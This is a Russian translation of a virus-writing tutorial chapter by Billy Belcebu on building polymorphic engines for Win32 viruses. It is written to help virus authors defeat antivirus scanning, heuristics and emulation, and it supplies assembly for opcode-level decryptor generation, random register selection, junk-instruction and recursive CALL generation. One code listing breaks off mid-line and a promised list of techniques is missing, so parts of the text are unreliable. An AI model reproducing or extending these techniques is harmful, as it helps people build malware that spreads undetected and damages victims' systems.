Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!
Введение
Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.
Уровни полиморфизма
У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.
Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".
Примеры: "Cheeba", "Slovakia", "Whale".
Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.
Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.
Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.
Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.
Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.
У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:
Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок
Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".
Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.
Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным
Уровень 5: невозможность обнаружения вируса с помощью масок.
Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.
Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.
Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.
1. Степерь сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора
Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)
Как я могу сделать полиморф?
Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:
- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее
Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
[...]
Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.
Очень важная вещь: ГСЧ
Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.
random:
in eax,40h
ret
Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.
;---[ CUT HERE ]-------------------------------------------------------------
;
; Тестировщик ГСЧ
; ---------------
;
; Если иконки на экране расположены действительно "случайным" образом, значит,
; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы
; заметили странную последовательность в расположении иконок на экране,
; попробуйте другой ГСЧ.
;
.386
.model flat
res_x equ 800d ; Горизонтальное разрешение
res_y equ 600d ; Вертикальное разрешение
extrn LoadLibraryA:PROC ; Все APIs, которые нужны
extrn LoadIconA:PROC ; тестировщику ГСЧ
extrn DrawIcon:PROC
extrn GetDC:PROC
extrn GetProcAddress:PROC
extrn GetTickCount:PROC
extrn ExitProcess:PROC
.data
szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz-строка
a_User32 dd 00000000h ; Требуемые переменные
h_icon dd 00000000h
dc_screen dd 00000000h
rnd32_seed dd 00000000h
rdtsc equ
Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).
Основные концепции полиморфного движка
Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.
Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.
;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
; ----------------------------------
;
.386 ; Blah
.model flat
.data
shit:
buffer db 00h
.code
Silly_I:
lea edi,buffer ; Указатель на буфер
mov al,0C3h ; Байт, который нужно записать, находится в AL
stosb ; Записать содержимое AL туда, куда указывает
; EDI
jmp shit ; Байт, который мы записали, C3, является
; опкодом инструкции RET, т.е. мы заканчиваем
; выполнение
end Silly_I
;---[ CUT HERE ]-------------------------------------------------------------
Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:
mov ecx,virus_size
mov edi,offset crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
Соответствено, код для генерации декриптора с нуля будет примерно следующим:
mov al,0B9h ; опкод MOV ECX,imm32
stosb ; сохраняем AL, куда указывает EDI
mov eax,virus_size ; Число, которое нужно сохранить
stosd ; сохранить EAX, куда указывает EDI
mov al,0BFh : опкод MOV EDI,offset32
stosb ; сохраняем AL, куда указывает EDI
mov eax,offset crypt ; 32-х битное сохраняемое смещение
stosd ; сохраняем EAX, куда указывает EDI
mov al,0B8h ; опкод MOV EAX,imm32
stosb ; сохраняем AL, куда указывает EDI
mov eax,crypt_key ; Imm32, который нужно сохранить
stosd ; сохраняем EAX, куда указывает EDI
mov ax,0731h ; опкод XOR [EDI],EAX
stosw ; сохраняем AX, куда указывает EDI
mov ax,0C783h ; опкод ADD EDI,imm32 (>7F)
stosw ; сохраняем AX, куда указывает EDI
mov al,04h ; Сохраняемый Imm32 (>7F)
stosb ; сохраняем AL, куда указывает EDI
mov ax,0F9E2h ; опкод LOOP @@1
stosw ; сохраняем AX, куда указывает EDI
Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.
;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; -----------------------------------
;
.386 ; Blah
.model flat
virus_size equ 12345678h ; Фальшивые данные
crypt equ 87654321h
crypt_key equ 21436587h
.data
db 00h
.code
Silly_II:
lea edi,buffer ; Указатель на буфер - это код
; возврата, мы заканчиваем
; выполнение
mov al,0B9h ; Опкод MOV ECX,imm32
stosb ; Сохранить AL, куда указ. EDI
mov eax,virus_size ; Непоср. знач., к-рое нужно сохр.
stosd ; Сохр. EAX, куда указывает EDI
call onebyte
mov al,0BFh ; Опкод MOV EDI, offset32
stosb ; Сохр. AL, куда указывает EDI
mov eax,crypt ; Offset32, который нужно сохранить
stosd ; Сохр. EAX, куда указывает EDI
call onebyte
mov al,0B8h ; MOV EAX,imm32
stosb ; Сохр. AL, куда указывает EDI
mov eax,crypt_key
stosd ; Сохр. EAX, куда указывает EDI
call onebyte
mov ax,0731h ; Опкод XOR [EDI],EAX
stosw ; Сохр. AX, куда указывает EDI
mov ax,0C783h ; Опкод ADD EDI,imm32 (>7F)
stosw ; Сохр. AX, куда указывает EDI
mov al,04h ; Imm32 (>7F), который нужно сохр.
stosb ; Сохр. AL, куда указывает EDI
mov ax,0F9E2h ; Опкод LOOP @@1
stosw ; Сохр. AX, куда указывает EDI
ret
random:
in eax,40h ; Чертов RNG
ret
onebyte:
call random ; Получаем случайное число
and eax,one_size ; Сделать его равным [0..7]
mov al,[one_table+eax] ; Получить опкод в AL
stosb ; Сохр. AL, куда указывает EDI
ret
one_table label byte ; Таблица однобайтных инструкций
lahf
sahf
cbw
clc
stc
cmc
cld
nop
one_size equ ($-offset one_table)-1
buffer db 100h dup (90h) ; Простой буфер
end Silly_II
;---[ CUT HERE ]-------------------------------------------------------------
Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.
Генерация "настоящего" кода
Давайте взглянем на наш набор инструкций.
mov ecx,virus_size ; (1)
lea edi,crypt ; (2)
mov eax,crypt_key ; (3)
@@1: xor dword ptr [edi],eax ; (4)
add edi,4 ; (5)
loop @@1 ; (6)
Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...
- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:
mov ecx,virus_size
или
push virus_size
pop ecx
или
mov ecx,not (virus_size)
not ecx
или
mov ecx,(virus_size xor 12345678h)
xor ecx,12345678h
и так далее, и так далее...
Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.
- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.
- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
InitPoly proc
@@1: mov eax,8 ; Получить случайный регистр
call r_range ; EAX := [0..7]
cmp eax,4 ; Это ESP?
jz @@1 ; Если да, получаем другой
mov byte ptr [ebp+base],al ; Сохраняем его
mov ebx,eax ; EBX = базовый регистр
@@2: mov eax,8 ; Получаем случайный регистр
call r_range ; EAX := [0..7]
cmp eax,4 ; Это ESP?
jz @@2 ; Если да, получаем другой
cmp eax,ebx ; Равен базовому указателю?
jz @@2 ; Если да, получаем другой
mov byte ptr [ebp+count],al ; Сохраняем его
mov ecx,eax ; ECX = Регистр-счетчик
@@3: mov eax,8 ; Получаем случайный регистр
call r_range ; EAX := [0..7]
cmp eax,4 ; Это ESP?
jz @@3 ; Если да, получаем другой
cmp eax,ebx ; Равен регистру базового указ.?
jz @@3 ; Если да, получаем другой
cmp eax,ecx ; Равен регистру-счетчику?
jz @@3 ; Если да, получаем другой
mov byte ptr [ebp+key],al ; Сохраняем его
ret
InitPoly endp
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.
Генерация мусора
Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:
- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.
- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.
Ок, тогда давай начнет:
¦ Общее для обоих случаев:
- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы
¦ Реалистичность:
"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:
- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)
¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:
Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.
• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:
Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.
Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.
• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:
• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.
• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.
• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).
• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.
• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.
• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Дальше идет немного менталдриллизма :).
• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:
fwait
fninit
Генерация инструкций
Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:
Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...
xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412
Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.
F2 -> 11 110 010
F6 -> 11 110 110
Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...
010 -> EDX
110 -> ESI
Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).
Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!
Рекурсивность
Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:
PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:
И представьте, что у вас есть следующая процедура для выбора между ними:
GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret
Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':
GenGarbage:
inc byte ptr [ebp+recursion_level]
cmp byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень
jae GarbageExit ; рекурсии
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
GarbageExit:
dec byte ptr [ebp+recursion_level]
ret
Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).
Заключение
Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!
[C] Billy Belcebu, пер. Aquila